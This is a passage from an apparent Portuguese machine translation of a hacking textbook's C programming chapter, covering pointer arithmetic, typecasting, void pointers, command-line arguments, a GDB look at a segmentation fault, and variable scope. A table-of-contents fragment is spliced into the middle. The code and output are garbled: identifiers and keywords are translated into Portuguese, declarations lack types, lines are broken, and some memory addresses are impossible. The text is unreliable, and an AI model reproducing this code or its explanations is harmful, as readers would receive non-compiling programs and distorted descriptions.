pontiagudas. Mesmo que um ponteiro seja</p><p>apenas um endereço de memória, o compilador C ainda exige um tipo de</p><p>dado para cada ponteiro. Uma razão para isto é tentar limitar os erros de</p><p>programação. Um ponteiro inteiro deve apenas apontar para dados inteiros,</p><p>enquanto um ponteiro de caracteres deve apenas apontar para dados char-</p><p>acter. Outra razão é para a aritmética do ponteiro. Um número inteiro é de</p><p>quatro bytes de tamanho, enquanto um caractere ocupa apenas um byte. O</p><p>pointer_types.c pro- grama demonstrará e explicará estes conceitos de forma</p><p>mais detalhada. Este código utiliza o parâmetro de formato %p para emitir</p><p>endereços de memória. Este é um abreviação destinado a exibir apontadores</p><p>e é basicamente equivalente a 0x%08x.</p><p>#include <stdio.h></p><p>int main() {</p><p>int i;</p><p>char_array[5] = {'a', 'b', 'c', 'd', 'e'}; int</p><p>int_array[5] = { 1 , 2, 3, 4, 5};</p><p>char *char_pointer;</p><p>int *int_pointer;</p><p>char_pointer = char_array;</p><p>int_pointer = int_array;</p><p>for(i=0; i < 5; i++) { // Iterate through the int array with the int_pointer.</p><p>printf("[integer pointer] points to %p, which contains the integer %d\n",</p><p>int_pointer, *int_pointer);</p><p>int_pointer = int_pointer + 1;</p><p>}</p><p>for(i=0; i < 5; i++) { // Iterate through the char array with the char_pointer.</p><p>printf("[char pointer] points to %p, which contains the char '%c'\n",</p><p>char_pointer, *char_pointer);</p><p>char_pointer = char_pointer + 1;</p><p>}</p><p>}</p><p>Neste código, duas matrizes são definidas na memória - uma contendo</p><p>dados inteiros e a outra contendo dados de caracteres. Dois ponteiros</p><p>também são definidos, um com o tipo de dados inteiros e outro com o tipo</p><p>de dados de caracteres, e são definidos para apontar para o início das arrays</p><p>de dados correspondentes. Dois separados para loops iterativos através das</p><p>arrays usando aritmética de ponteiro para ajustar o ponteiro para apontar</p><p>para o próximo valor. Nos loops, quando o número inteiro e os valores de</p><p>70 0 x 2</p><p>0 0</p><p>caracteres</p><p>Programação 71</p><p>são realmente impressos com os parâmetros de formato %d e %c, observe que</p><p>os argumentos correspondentes de impressão() devem desreferenciar as</p><p>variáveis do ponteiro.</p><p>Isto é feito utilizando o operador * unário e foi marcado acima em</p><p>negrito.</p><p>reader@hacking:~/booksrc $ gcc pointer_types.c</p><p>reader@hacking:~/booksrc $ ./a.out</p><p>[ponteiro inteiro] aponta para 0xbffff7f0, que contém o número</p><p>inteiro 1 [ponteiro inteiro] aponta para 0xbffff7f4, que contém o</p><p>número inteiro 2 [ponteiro inteiro] aponta para 0xbffff7f8, que</p><p>contém o número inteiro 3 [ponteiro inteiro] aponta para 0xbffff7fc,</p><p>que contém o número inteiro 4 [ponteiro inteiro] aponta para</p><p>0xbffff800, que contém o inteiro 5 pontos [char pointer] a 0xbffff810,</p><p>que contém o char 'a' [char pointer] aponta para 0xbffff811, que</p><p>contém o char 'b' [char pointer] aponta para 0xbffff812, que contém</p><p>o char 'c' [char pointer] aponta para 0xbffff813, que contém o char</p><p>'d' [char pointer] aponta para 0xbffffff814, que contém o char 'e'</p><p>reader@hacking:~/booksrc $</p><p>pointer_types2.c</p><p>Embora o mesmo valor de 1 seja adicionado ao int_pointer e char_pointer</p><p>em seus respectivos loops, o compilador incrementa os endereços do</p><p>ponteiro em diferentes quantidades. Como um char é apenas 1 byte, o</p><p>ponteiro para o próximo char seria naturalmente também 1 byte acima. Mas</p><p>como um número inteiro é 4 bytes, um ponteiro para o próximo número</p><p>inteiro tem que ser 4 bytes acima.</p><p>Em pointer_types2.c, os ponteiros são justapostos de tal forma que o</p><p>int_pointer aponta para os dados de caráter e vice-versa. As principais</p><p>mudanças no código são marcadas em negrito.</p><p>#include <stdio.h></p><p>int main() {</p><p>int i;</p><p>char_array[5] = {'a', 'b', 'c', 'd', 'e'}; int</p><p>int_array[5] = { 1 , 2, 3, 4, 5};</p><p>char *char_pointer;</p><p>int *int_pointer;</p><p>char_pointer = int_array; // O char_pointer e int_pointer agora int_pointer =</p><p>char_array; // apontam para tipos de dados incompatíveis.</p><p>for(i=0; i < 5; i++) { // Iterate through the int array with the int_pointer.</p><p>printf("[integer pointer] points to %p, which contains the char '%c'\n",</p><p>int_pointer, *int_pointer);</p><p>int_pointer = int_pointer + 1;</p><p>}</p><p>for(i=0; i < 5; i++) { // Iterar através da matriz de caracteres com o apontador char_pointer.</p><p>72 0 x 2</p><p>0 0</p><p>printf("[char_pointer] aponta para %p, que contém o inteiro %d\n", char_pointer,</p><p>*char_pointer);</p><p>char_pointer = char_pointer + 1;</p><p>}</p><p>}</p><p>A saída abaixo mostra os avisos emitidos pelo compilador.</p><p>reader@hacking:~/booksrc $ gcc pointer_types2.c</p><p>pointer_types2.c: Em função `main':</p><p>pointer_types2.c:12: aviso: atribuição de ponteiro incompatível tipo</p><p>pointer_types2.c:13: aviso: atribuição de ponteiro incompatível tipo</p><p>leitor@hacking:~/booksrc $</p><p>Em uma tentativa de evitar erros de programação, o compilador adverte</p><p>sobre indicações que apontam para tipos de dados incompatíveis. Mas o</p><p>compilador e talvez o programador são</p>
<p>0x800 Conclusão...........................................................................................................................451</p><p>Índice..............................................................................................................................................455</p><p>C O N T E N T E SI N D E T A I L</p><p>PREFÁCIO xi</p><p>AGRADECIMENTOS xii</p><p>0x100 INTRODUÇÃO 1</p><p>0x200 PROGRAMAÇÃO 5</p><p>0x210 O que é Programação?......................................................................................................6</p><p>0x220 Pseudo-código ..................................................................................................................7</p><p>0x230 Estruturas de controle......................................................................................................8</p><p>0x231 If-Then-Else.........................................................................................................8</p><p>0x232 While/Until Loops ..............................................................................................9</p><p>0x233 Para Loops .....................................................................................................10</p><p>0x240 Conceitos mais fundamentais de programação...............................................................11</p><p>0x241 Variáveis ........................................................................................................11</p><p>0x242 Operadores aritméticos ...............................................................................12</p><p>0x243 Operadores de comparação .......................................................................14</p><p>0x244 Funções ..........................................................................................................16</p><p>0x250 Sujando suas mãos .......................................................................................................19</p><p>0x251 O quadro maior...............................................................................................20</p><p>0x252 O Processador x86.........................................................................................23</p><p>0x253 Linguagem de montagem ..............................................................................25</p><p>0x260 Voltar ao Básico.............................................................................................................37</p><p>0x261 Cordas.............................................................................................................38</p><p>0x262 Assinado, Não Assinado, Longo e Curto......................................................41</p><p>0x263 Ponteiros .........................................................................................................43</p><p>0x264 Formato Strings ..............................................................................................48</p><p>0x265 Tipecasting ....................................................................................................51</p><p>0x266 Argumentos da Linha de Comando..................................................................58</p><p>0x267 Escopo variável ............................................................................................62</p><p>Segmentação de memória 0x270..........................................................................................69</p><p>0x271 Segmentos de memória em C.......................................................................75</p><p>0x272 Usando a pilha................................................................................................77</p><p>0x273 malloc() Error-Checked malloc()....................................................................80</p><p>0x280 Construindo sobre o básico ..........................................................................................81</p><p>0x281 Acesso a arquivos ..........................................................................................81</p><p>0x282 Permissões de arquivo...................................................................................87</p><p>0x283 IDs de usuário .................................................................................................88</p><p>0x284 Estruturas........................................................................................................96</p><p>0x285 Ponteiros de Função ....................................................................................100</p><p>0x286 Números Pseudo-aleatórios........................................................................101</p><p>0x287 Um Jogo de Oportunidades.........................................................................102</p><p>0x300 EXPLORAÇÃO 115</p><p>0x310 Técnicas de Exploração Generalizada ...........................................................................118</p><p>0x320 transbordos de tampão..............................................................................................119</p><p>0x321 Vulnerabilidades de transbordo de amortecedores baseados em pilha ..........122</p><p>0x330 Experimentando com a BASH........................................................................................133</p><p>0x331 Usando o meio ambiente.................................................................................142</p><p>0x340 transbordos em outros segmentos .................................................................................150</p><p>0x341 A Overflow Básico Baseado em Salto.............................................................150</p><p>0x342 Ponteiros de funções de transbordo................................................................156</p><p>Cordas de formato 0x350 ..........................................................................................................167</p><p>Parâmetros de formato 0x351....................................................................................167</p><p>0x352 O formato String Vulnerability..........................................................................170</p><p>0x353 Leitura a partir de endereços de memória arbitrária .......................................172</p><p>0x354 Escrever para endereços de memória arbitrária .............................................173</p><p>0x355 Acesso direto aos parâmetros.........................................................................180</p><p>0x356 Utilizando textos curtos ...................................................................................182</p><p>0x357 Desvios com .dtors..........................................................................................184</p><p>0x358 Outra pesquisa de notas Vulnerabilidade........................................................189</p><p>0x359 Sobregravação da Tabela de Compensação Global .......................................190</p><p>0x400 REDE 195</p><p>Modelo 0x410 OSI .................................................................................................................196</p><p>Tomadas 0x420.........................................................................................................................198</p><p>0x421 Funções da tomada.........................................................................................199</p><p>0x422 Endereços dos soquetes .................................................................................200</p><p>0x423 Pedido de Byte de Rede ..................................................................................202</p><p>0x424 Conversão de endereço Internet .....................................................................203</p><p>0x425 Um exemplo de servidor simples ....................................................................203</p><p>0x426 Um exemplo de cliente Web .....................................................................207</p><p>0x427 A Servidor Tinyweb .........................................................................................213</p><p>0x430 Descascando as camadas inferiores..............................................................................217</p><p>0x431 Camada Data-Link...........................................................................................218</p><p>0x432 Camada de rede ..............................................................................................220</p><p>0x433 Camada de</p>
<p>os únicos que se preocupam com o</p><p>tipo de ponteiro. No código compilado, um ponteiro nada mais é do que um</p><p>endereço de memória, então o compilador ainda compilará o código se um</p><p>ponteiro apontar para um tipo de dado incompatível, simplesmente avisa o</p><p>programador para antecipar</p><p>resultados inesperados.</p><p>reader@hacking:~/booksrc $ ./a.out</p><p>[aponta para 0xbffff810, que contém o char 'a' [ponteiro inteiro]</p><p>aponta para 0xbffff814, que contém o char 'e' [ponteiro inteiro] aponta</p><p>para 0xbffff818, que contém o char '8' [ponteiro inteiro] aponta para</p><p>0xbffff81c, que contém o char ' [ponteiro inteiro] aponta para</p><p>0xbffff820, que contém o char '?"[ponteiro char] aponta para</p><p>0xbffff7f0, que contém o número inteiro 1 [ponteiro char] aponta para</p><p>0xbffff7f1, que contém o número inteiro 0 [ponteiro char] aponta para</p><p>0xbffff7f2, que contém o número inteiro 0 [ponteiro char] aponta para</p><p>0xbffff7f3, que contém o número inteiro 0 [ponteiro char] aponta para</p><p>0xbffff7f4, que contém o número inteiro 2 reader@hacking:~/booksrc $</p><p>Mesmo que o int_pointer aponte para dados de caracteres que contenham</p><p>apenas 5 bytes de dados, ele ainda é digitado como um número inteiro. Isto</p><p>significa que a adição de 1 ao ponteiro aumentará o endereço em 4 cada vez.</p><p>Da mesma forma, o endereço do char_pointer só é incrementado em 1 de cada</p><p>vez, passando pelos 20 bytes de dados inteiros (cinco inteiros de 4 bytes), um</p><p>byte de cada vez. Mais uma vez, a ordem do byte pequeno endian dos dados</p><p>inteiros é aparente quando o número inteiro de 4 bytes é examinado um byte</p><p>de cada vez. O valor de 4 bytes de 0x00000001 é realmente armazenado na</p><p>memória como 0x01, 0x00, 0x00, 0x00, 0x00.</p><p>Haverá situações como esta em que você estará usando um ponteiro que</p><p>aponta para dados com um tipo conflitante. Como o tipo de ponteiro</p><p>determina o tamanho dos dados para os quais aponta, é importante que o</p><p>tipo esteja correto. Como você pode ver no pointer_types3.c abaixo, a</p><p>digitação é apenas uma forma de alterar o tipo de uma variável na mosca.</p><p>Programação 73</p><p>pointer_types3.c</p><p>#include <stdio.h></p><p>int main() {</p><p>int i;</p><p>char_array[5] = {'a', 'b', 'c', 'd', 'e'}; int</p><p>int_array[5] = { 1 , 2, 3, 4, 5};</p><p>char *char_pointer;</p><p>int *int_pointer;</p><p>char_pointer = (char *) int_array; // Typecast into the int_pointer =</p><p>(int *) char_array; // tipo de dados do ponteiro.</p><p>for(i=0; i < 5; i++) { // Iterate through the int array with the int_pointer.</p><p>printf("[integer pointer] points to %p, which contains the char '%c'\n",</p><p>int_pointer, *int_pointer);</p><p>int_pointer = (int *) ((char *) int_pointer + 1);</p><p>}</p><p>for(i=0; i < 5; i++) { // Iterate through the char array with the char_pointer.</p><p>printf("[char pointer] points to %p, which contains the integer %d\n",</p><p>char_pointer, *char_pointer);</p><p>char_pointer = (char *) ((int *) char_pointer + 1);</p><p>}</p><p>}</p><p>Neste código, quando os ponteiros são inicialmente definidos, os dados</p><p>são digitados no tipo de dados do ponteiro. Isto evitará que o compilador C</p><p>reclame sobre os tipos de dados conflitantes; entretanto, qualquer aritmética</p><p>de ponteiro ainda estará incorreta. Para corrigir isso, quando 1 é adicionado</p><p>aos ponteiros, eles devem primeiro ser do tipo lançado no tipo de dados</p><p>correto para que o endereço seja incrementado pela quantidade correta.</p><p>Então, este ponteiro precisa ser digitado novamente no tipo de dados do</p><p>ponteiro. Não parece muito bonito, mas funciona.</p><p>reader@hacking:~/booksrc $ gcc pointer_types3.c reader@hacking:~/booksrc</p><p>$ ./a.out</p><p>[ponteiro inteiro] aponta para 0xbffff810, que contém o char 'a'</p><p>[ponteiro inteiro] aponta para 0xbffff811, que contém o char 'b'</p><p>[ponteiro inteiro] aponta para 0xbffff812, que contém o char 'c'</p><p>[ponteiro inteiro] aponta para 0xbffff813, que contém o char 'd'</p><p>[ponteiro inteiro] aponta para 0xbffff814, que contém o char 'e' [char</p><p>pointer] aponta para 0xbffff7f0, que contém o inteiro 1 [char pointer]</p><p>aponta para 0xbffff7f4, que contém o inteiro 2 [char pointer] aponta</p><p>para 0xbffff7f8, que contém o inteiro 3 [char pointer] aponta para</p><p>0xbffff7fc, que contém o inteiro 4 [char pointer] aponta para</p><p>0xbffff800, que contém o inteiro 5 reader@hacking:~/booksrc $</p><p>74 0 x 2</p><p>0 0</p><p>pointer_types4.c</p><p>Naturalmente, é muito mais fácil usar apenas o tipo de dados correto</p><p>para os ponteiros em primeiro lugar; no entanto, às vezes, um ponteiro</p><p>genérico e sem digitação é desejado. Em C, um ponteiro vazio é um ponteiro</p><p>sem digitação, definido pela palavra-chave void.</p><p>A experiência com apontadores vazios revela rapidamente algumas coisas</p><p>sobre apontadores sem digitação. Primeiro, os apontadores não podem ser</p><p>desreferenciados, a menos que tenham um tipo.</p><p>A fim de recuperar o valor armazenado no endereço de memória do</p><p>ponteiro, o compilador deve primeiro saber que tipo de dados são. Em</p><p>segundo lugar, os apontadores vazios também devem ser digitados antes de</p><p>fazer a aritmética do ponteiro. Estas são limitações bastante intuitivas, o que</p><p>significa que o objetivo principal de um ponteiro vazio é simplesmente</p><p>manter um endereço de memória.</p><p>O programa pointer_types3.c pode ser modificado para usar um único</p><p>ponteiro vazio, digitando-o para o tipo apropriado cada vez que for usado. O</p><p>compilador sabe que um ponteiro vazio não é digitado, portanto qualquer</p><p>tipo de ponteiro pode ser armazenado em um ponteiro vazio sem digitação.</p><p>Isto também significa que um ponteiro vazio deve ser sempre datilografado</p><p>ao desreferenciá-lo, no entanto. Estas diferenças podem ser vistas em</p><p>pointer_types4.c, que usa um ponteiro vazio.</p><p>#include <stdio.h></p><p>int main() {</p><p>int i;</p><p>char_array[5] = {'a', 'b', 'c', 'd', 'e'}; int</p><p>int_array[5] = { 1 , 2, 3, 4, 5};</p><p>void *void_pointer;</p><p>void_pointer = (void *) char_array;</p><p>for(i=0; i < 5; i++) { // Iterate through the int array with the int_pointer. printf("[char</p><p>pointer] points to %p, which contains the char '%c'\n",</p><p>void_pointer, *((char *) void_pointer));</p><p>void_pointer = (void_pointer *) ((char *) void_pointer</p><p>+ 1);</p><p>}</p><p>void_pointer = (void *) int_array;</p><p>for(i=0; i < 5; i++) { // Iterate through the int array with the int_pointer.</p><p>printf("[integer pointer] points to %p, which contains the integer %d\n",</p><p>void_pointer, *((int *) void_pointer));</p><p>void_pointer = (void_pointer *) ((int *) void_pointer</p><p>+ 1);</p><p>}</p><p>}</p><p>Os resultados da compilação e execução de pointer_types4.c são</p><p>os seguintes.</p><p>Programação 75</p><p>reader@hacking:~/booksrc $ gcc pointer_types4.c reader@hacking:~/booksrc</p><p>$ ./a.out</p><p>[ponteiro char] aponta para 0xbffff810, que contém o char 'a'</p><p>[ponteiro char] aponta para 0xbffff811, que contém o char 'b'</p><p>[ponteiro char] aponta para 0xbffff812, que contém o char 'c'</p><p>[ponteiro char] aponta para 0xbffff813, que contém o char 'd'</p><p>[ponteiro char] aponta para 0xbffff814, que contém o char 'e'</p><p>[ponteiro inteiro] aponta para 0xbffff7f0, que contém o número</p><p>inteiro 1 [ponteiro inteiro] aponta para 0xbffff7f4, que contém o</p><p>número inteiro 2 [ponteiro inteiro] aponta para 0xbffff7f8, que</p><p>contém o número inteiro 3 [ponteiro inteiro] aponta para 0xbffff7fc,</p><p>que contém o número inteiro 4 [ponteiro inteiro] aponta para</p><p>0xbffff800, que contém o número inteiro 5 leitor@hacking:~/booksrc</p><p>$</p><p>pointer_types5.c</p><p>A compilação e saída deste pointer_types4.c é basicamente a mesma que</p><p>para pointer_types3.c. O ponteiro vazio está realmente apenas segurando os</p><p>endereços da memória, enquanto a digitação codificada está dizendo ao</p><p>compilador para usar os tipos apropriados sempre que o ponteiro for usado.</p><p>Uma vez que o tipo é cuidado pelas previsões datilográficas, o ponteiro</p><p>vazio nada mais é do que um endereço de memória. Com os tipos de dados</p><p>definidos pelo tipo de fundição, qualquer coisa que seja grande o suficiente</p><p>para manter um valor de quatro bytes pode funcionar da mesma forma que</p><p>um ponteiro vazio. Em pointer_types5.c, um inteiro não assinado é usado</p><p>para armazenar este endereço.</p><p>#include <stdio.h></p><p>int main() {</p><p>int i;</p><p>char_array[5] = {'a', 'b', 'c', 'd', 'e'}; int</p><p>int_array[5] = { 1 , 2, 3, 4, 5};</p><p>não assinado int hacky_nonpointer;</p><p>hacky_nonpointer</p>
<p>= (não assinado int) char_array;</p><p>for(i=0; i < 5; i++) { // Iterate through the int array with the int_pointer.</p><p>printf("[hacky_nonpointer] points to %p, which contains the char '%c'\n",</p><p>hacky_nonpointer, *((char *) hacky_nonpointer)));</p><p>hacky_nonpointer = hacky_nonpointer + sizeof(char);</p><p>}</p><p>hacky_nonpointer = (int.não assinado) int_array;</p><p>for(i=0; i < 5; i++) { // Iterate through the int array with the int_pointer.</p><p>printf("[hacky_nonpointer] points to %p, which contains the integer %d\n",</p><p>hacky_nonpointer, *((int *) hacky_nonpointer)));</p><p>hacky_nonpointer = hacky_nonpointer + sizeof(int);</p><p>}</p><p>}</p><p>76 0 x 2</p><p>0 0</p><p>Isto é bastante hacky, mas como este valor inteiro é digitado nos tipos</p><p>de ponteiro apropriados quando é atribuído e desreferenciado, o resultado</p><p>final é o mesmo. Observe que ao invés de digitar várias vezes para fazer</p><p>aritmética de ponteiro em um inteiro não assinado (que nem sequer é um</p><p>ponteiro), a função sizeof() é usada para alcançar o mesmo resultado</p><p>usando aritmética normal.</p><p>reader@hacking:~/booksrc $ gcc pointer_types5.c reader@hacking:~/booksrc</p><p>$ ./a.out</p><p>[hacky_nononpointer] aponta para 0xbffff810, que contém o char 'a'</p><p>[hacky_nonpointer] aponta para 0xbffff811, que contém o char 'b'</p><p>[hacky_nonpointer] aponta para 0xbffff812, que contém o char 'c'</p><p>[hacky_nonpointer] aponta para 0xbffff813, que contém o char 'd'</p><p>[hacky_nonpointer] aponta para 0xbffff814, que contém o char 'e'</p><p>[hacky_nonpointer] aponta para 0xbffff7f0, que contém o número inteiro 1</p><p>[hacky_nonpointer] aponta para 0xbffff7f4, que contém o número inteiro 2</p><p>[hacky_nonpointer] aponta para 0xbffff7f8, que contém o número inteiro 3</p><p>[hacky_nonpointer] aponta para 0xbffff7fc, que contém o número inteiro 4</p><p>[hacky_nonpointer] aponta para 0xbffff800, que contém o número inteiro 5</p><p>leitor@hacking:~/booksrc $</p><p>O importante a lembrar sobre as variáveis em C é que o com- piler é a</p><p>única coisa que se preocupa com o tipo de variável. No final, após o programa</p><p>ter sido compilado, as variáveis nada mais são do que endereços de memória.</p><p>Isto significa que variáveis de um tipo podem ser facilmente coagidas a se</p><p>comportar como outro tipo, dizendo ao compilador que as digite no tipo</p><p>desejado.</p><p>0x266 Argumentos da Linha de Comando</p><p>Muitos programas não gráficos recebem entrada sob a forma de</p><p>argumentos de linha de comando. Ao contrário da entrada com scanf(), os</p><p>argumentos de linha de comando não requerem interação do usuário após</p><p>o programa ter iniciado a execução. Isto tende a ser mais eficiente e é um</p><p>método útil de entrada de dados.</p><p>Em C, os argumentos da linha de comando podem ser acessados na</p><p>função principal() incluindo dois argumentos adicionais à função: um inteiro e</p><p>um ponteiro para um conjunto de cordas. O número inteiro conterá o</p><p>número de argumentos, e o conjunto de strings conterá cada um desses</p><p>argumentos. O programa commandline.c e sua execução devem explicar as</p><p>coisas.</p><p>linha de comando.c</p><p>#include <stdio.h></p><p>int main(int arg_count, char *arg_list[]) {</p><p>int i;</p><p>printf("Houve %d argumentos fornecidos:\n", arg_count);</p><p>for(i=0; i < arg_count; i++)</p><p>printf("argument #%d\t%sn", i, arg_list[i]);</p><p>Programação 77</p><p>}</p><p>78 0 x 2</p><p>0 0</p><p>reader@hacking:~/booksrc $ gcc -o commandline commandline.c</p><p>reader@hacking:~/booksrc $ ./commandline</p><p>Foram apresentados 1 argumentos:</p><p>argumento #0 - ./commandline</p><p>reader@hacking:~/booksrc $ ./commandline este é um</p><p>teste Foram fornecidos 5 argumentos:</p><p>argumento #0 - argumento</p><p>#1 da linha de comando - este</p><p>argumento nº 2 - é</p><p>argumento nº 3 - a</p><p>argumento #4 -</p><p>teste</p><p>reader@hacking:~/booksrc $</p><p>O argumento zeroth é sempre o nome do binário de execução, e o resto</p><p>da matriz de argumentos (muitas vezes chamado de vetor de argumentos)</p><p>contém os argumentos restantes como cordas.</p><p>Às vezes um programa quererá usar um argumento de linha de comando</p><p>como um número inteiro em oposição a uma string. Independentemente</p><p>disso, o argumento é passado como uma string; no entanto, existem funções</p><p>de conversão padrão. Ao contrário da digitação simples, estas funções</p><p>podem realmente converter matrizes de caracteres contendo números em</p><p>números inteiros reais. A mais comum destas funções é atoi(), que é a</p><p>abreviação de ASCII para integer. Esta função aceita como argumento um</p><p>ponteiro para uma cadeia e retorna o valor inteiro que ela representa.</p><p>Observe seu uso em convert.c.</p><p>convert.c</p><p>#include <stdio.h></p><p>uso vazio(char *nome_do_programa) {</p><p>printf("Usage: %s <message>># of times to repeat>\n", program_name); exit(1);</p><p>}</p><p>int main(int argc, char *argv[]) {</p><p>int i, count;</p><p>if(argc < 3) // Se forem usados menos de 3</p><p>argumentos, use(argv[0]); // exibir mensagem de uso</p><p>e saída.</p><p>count = atoi(argv[2]); // Converter o 2º arg em um número inteiro.</p><p>printf("Repetindo %d vezes...\n", count);</p><p>for(i=0; i < conta; i++)</p><p>printf("%3d - %s\n", i, argv[1]); // Imprimir a 1ª arg.</p><p>}</p><p>Os resultados da compilação e execução do convert.c são os seguintes.</p><p>reader@hacking:~/booksrc $ gcc convert.c</p><p>reader@hacking:~/booksrc $ ./a.out</p><p>Programação 79</p><p>Utilização: ./a.out <mensagem>># de vezes para repetir></p><p>80 0 x 2</p><p>0 0</p><p>reader@hacking:~/booksrc $ ./a.out 'Olá, mundo! 3</p><p>Repetindo 3 vezes...</p><p>0 - Olá, mundo!</p><p>1 - Olá, mundo!</p><p>2 - Olá, mundo!</p><p>reader@hacking:~/booksrc $</p><p>No código anterior, uma declaração se assegura que três argumentos são</p><p>usados antes que estas cordas sejam acessadas. Se o programa tentar acessar</p><p>mem- ory que não existe ou que o programa não tem permissão para ler, o</p><p>programa irá travar. Em C, é importante verificar estes tipos de condições</p><p>e lidar com elas na lógica do programa. Se a verificação de erro se for</p><p>comentada, esta violação de memória pode ser explorada. O programa</p><p>convert2.c deve deixar isto mais claro.</p><p>convert2.c</p><p>#include <stdio.h></p><p>uso vazio(char *nome_do_programa) {</p><p>printf("Usage: %s <message>># of times to repeat>\n", program_name); exit(1);</p><p>}</p><p>int main(int argc, char *argv[]) {</p><p>int i, count;</p><p>// if(argc < 3) // Se forem utilizados menos de 3 argumentos,</p><p>// uso(argv[0]); // exibir mensagem de uso e saída.</p><p>count = atoi(argv[2]); // Converter o 2º arg em um número inteiro.</p><p>printf("Repetindo %d vezes...\n", count);</p><p>for(i=0; i < conta; i++)</p><p>printf("%3d - %s\n", i, argv[1]); // Imprimir a 1ª arg.</p><p>}</p><p>Os resultados da compilação e execução do convert2.c são os seguintes.</p><p>reader@hacking:~/booksrc $ gcc convert2.c</p><p>reader@hacking:~/booksrc $ ./a.out teste</p><p>Falha de segmentação (core dumped)</p><p>reader@hacking:~/booksrc $</p><p>Quando o programa não recebe argumentos suficientes na linha de</p><p>comando, ele ainda tenta acessar elementos da matriz de argumentos,</p><p>mesmo que eles não existam. Isto resulta em um colapso do programa</p><p>devido a uma falha de segmentação.</p><p>A memória é dividida em segmentos (que serão discutidos</p><p>posteriormente), e alguns endereços de memória não estão dentro dos</p><p>limites dos segmentos de memória aos quais o programa tem acesso. Quando</p><p>o programa tenta acessar um endereço que está fora dos limites, ele se choca</p><p>e morre no que é chamado de falha de segmentação. Este efeito pode ser</p><p>Programação 81</p><p>explorado mais adiante com a GDB.</p><p>82 0 x 2</p><p>0 0</p><p>reader@hacking:~/booksrc $ gcc -g convert2.c</p><p>reader@hacking:~/booksrc $ gdb -q ./a.out</p><p>Usando a biblioteca host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1". (gdb)</p><p>teste de execução</p><p>Programa inicial: /home/reader/bookrc/a.out teste</p><p>Programa de sinal recebido SIGSEGV, falha de</p><p>segmentação. 0xb7ec819b em ?? () de</p><p>/lib/tls/i686/cmov/libc.so.6 (gdb) onde</p><p>#0 0xb7ec819b em ?? () de /lib/tls/i686/cmov/libc.so.6 #1</p><p>0xb800183c em ?? ()</p><p>#2 0x00000000 em ?? ()</p><p>(gdb) quebra principal</p><p>Ponto de parada 1 em 0x8048419: file convert2.c,</p><p>linha 14. (gdb) teste de execução</p><p>O programa que está sendo depurado já foi iniciado.</p><p>Começar desde o início? (y ou n) y</p><p>Programa inicial: /home/reader/bookrc/a.out teste</p><p>Ponto de quebra 1, principal (argc=2, argv=0xbffff894) em convert2.c:14</p><p>14 count = atoi(argv[2]); // converter o 2º arg em um número</p><p>inteiro (gdb) cont</p><p>Continuando.</p><p>Programa de sinal recebido</p>
<p>SIGSEGV, falha de</p><p>segmentação. 0xb7ec819b em ?? () de</p><p>/lib/tls/i686/cmov/libc.so.6 (gdb) x/3xw 0xbffff894</p><p>0xbffff894: 0xbffff9b3 0xbffff9ce 0x00000000</p><p>(gdb) x/s 0xbff9b3</p><p>0xbffff9b3: "/home/reader/bookrc/a.out"</p><p>(gdb) x/s 0xbffffff9ce</p><p>0xbffff9ce:</p><p>"teste</p><p>" (gdb) x/s 0x00000000</p><p>0x0: <Address 0x0 out of bounds></p><p>(gdb) quit</p><p>O programa está em execução. Sair mesmo assim? (y ou n) y</p><p>reader@hacking:~/booksrc $</p><p>O programa é executado com um único argumento de linha de comando</p><p>de teste dentro do GDB, o que provoca o travamento do programa. O</p><p>comando onde às vezes mostrará um backtrace útil da pilha; no entanto,</p><p>neste caso, a pilha foi muito mal manchada no crash. Um ponto de parada é</p><p>colocado no principal e o programa é reexecutado para obter o valor do</p><p>vetor de argumento (mostrado em negrito). Como o vetor do argumento é</p><p>um ponteiro para a lista de cordas, ele é na verdade um ponteiro para uma</p><p>lista de apontadores. Usar o comando x/3xw para examinar os três primeiros</p><p>endereços de memória armazenados no endereço do vetor de argumento</p><p>mostra que eles mesmos são ponteiros para as strings. O primeiro é o</p><p>argumento zeroth, o segundo é o argumento de teste, e o terceiro é zero, que</p><p>está fora dos limites. Quando o programa tenta acessar este endereço de</p><p>memória, ele trava com uma falha de segmentação.</p><p>Programação 83</p><p>0x267 Escopo variável</p><p>Outro conceito interessante em relação à memória em C é o escopo ou</p><p>contexto das variáveis - em particular, os contextos das variáveis dentro das</p><p>funções. Cada func- tion tem seu próprio conjunto de variáveis locais, que são</p><p>independentes de tudo mais. Na verdade, múltiplas chamadas para a mesma</p><p>função têm todas seus próprios contextos. Você pode usar a função printf()</p><p>com strings de formato para explorar isto rapidamente; verifique no</p><p>escopo.c.</p><p>escopo.c</p><p>#include <stdio.h></p><p>func3() { int i</p><p>= 11;</p><p>printf("{t=t[in func3] i = %d=n", i);</p><p>}</p><p>func2() { int i</p><p>= 7;</p><p>printf("\t[in func2] i = %d\n", i);</p><p>func3();</p><p>printf("\t [de volta ao func2] i = %d\n", i);</p><p>}</p><p>func1() { int i</p><p>= 5;</p><p>printf("\t[in func1] i = %d\n", i);</p><p>func2();</p><p>printf("\t[back in func1] i = %d\n", i);</p><p>}</p><p>int main()</p><p>{ int i =</p><p>3;</p><p>printf("[in main] i = %d\n", i);</p><p>func1();</p><p>printf("[back in main] i = %d\n", i);</p><p>}</p><p>A saída deste programa simples demonstra chamadas de funções</p><p>aninhadas.</p><p>reader@hacking:~/booksrc $ escopo gcc.c</p><p>reader@hacking:~/booksrc $ ./a.out</p><p>[no essencial] i = 3</p><p>[em func1] i = 5</p><p>[em func2] i = 7</p><p>[em func3] i = 11</p><p>[de volta em func2] i = 7</p><p>[de volta ao func1] i =</p><p>5 [de volta ao principal] i = 3</p><p>reader@hacking:~/booksrc $</p><p>84 0 x 2</p><p>0 0</p><p>Em cada função, a variável i é definida para um valor diferente e</p><p>impressa. Observe que dentro da função principal(), a variável i é 3,</p><p>mesmo depois de chamar func1() onde a variável i é 5. Da mesma forma,</p><p>dentro do func1() a variável i permanece 5, mesmo depois de chamar</p><p>func2() onde i é 7, e assim por diante. A melhor maneira de pensar sobre</p><p>isto é que cada chamada de função tem sua própria versão da variável i.</p><p>As variáveis também podem ter um escopo global, o que significa que</p><p>elas persistirão em todas as funções. As variáveis são globais se forem</p><p>definidas no início do código, fora de qualquer função. No escopo2.c código</p><p>de exemplo mostrado abaixo, a variável j é declarada global e definida como</p><p>42. Esta variável pode ser lida e escrita por qualquer função, e as mudanças</p><p>nela persistirão entre as funções.</p><p>escopo2.c</p><p>#include <stdio.h></p><p>int j = 42; // j é uma variável</p><p>global. void func3() {</p><p>int i = 11, j = 999; // Aqui, j é uma variável local do func3().</p><p>printf("\t\t[in func3] i = %d, j = %d\n", i, 